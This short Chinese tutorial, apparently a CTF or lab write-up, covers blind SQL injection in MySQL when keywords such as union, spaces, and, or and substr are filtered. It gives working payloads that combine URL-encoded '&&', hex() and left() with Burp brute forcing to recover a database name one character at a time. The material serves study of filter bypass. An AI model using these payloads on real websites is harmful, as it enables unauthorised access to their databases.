mysql分割函数有:substr、substring、left
当union、空格、and、or、注释、substr被过滤的时候如下
可尝试用编码进行绕过,如URLEncode编码,ASCII,HEX,unicode编码绕过,上面代码没有过滤left,可以用left加上hex进行绕过
这里通过测试语句判断出是数字型注入
错误则不显示,用盲注试一下,
判断数据库长度语句:
/?id=1'%20 and (length(database()))=8--+
修改后:
?id=1%26%26hex(length(database()))>5
通过二分法得出数据库长度为:4
接下来判断数据库名:可通过burp抓包爆破,payload为:
?id=1%26%26hex(left(database(),1))=1 //(left(database(),1) 1表示数据库名第一位
第一个变量:数据库长度
第二个变量:hex编码
payload options [Brute forcer] 最小长度为1,最大长度为8.
当然,最快的方法是爆出一位,填payload里再继续爆破下一位。
payload options [Brute forcer] 填8,是因为ascii编码转过来是2位,见下图
这种爆破方式较慢,没爆破完,结果如下:
payload为:
?id=1%26%26hex(left(database(),1))=74 //数据库第1位
?id=1%26%26hex(left(database(),2))=7469 //数据库第2位
?id=1%26%26hex(left(database(),3))=746970 // 数据库第3位
最后结果为:
通过ascii与hex对照表得出数据库名:tips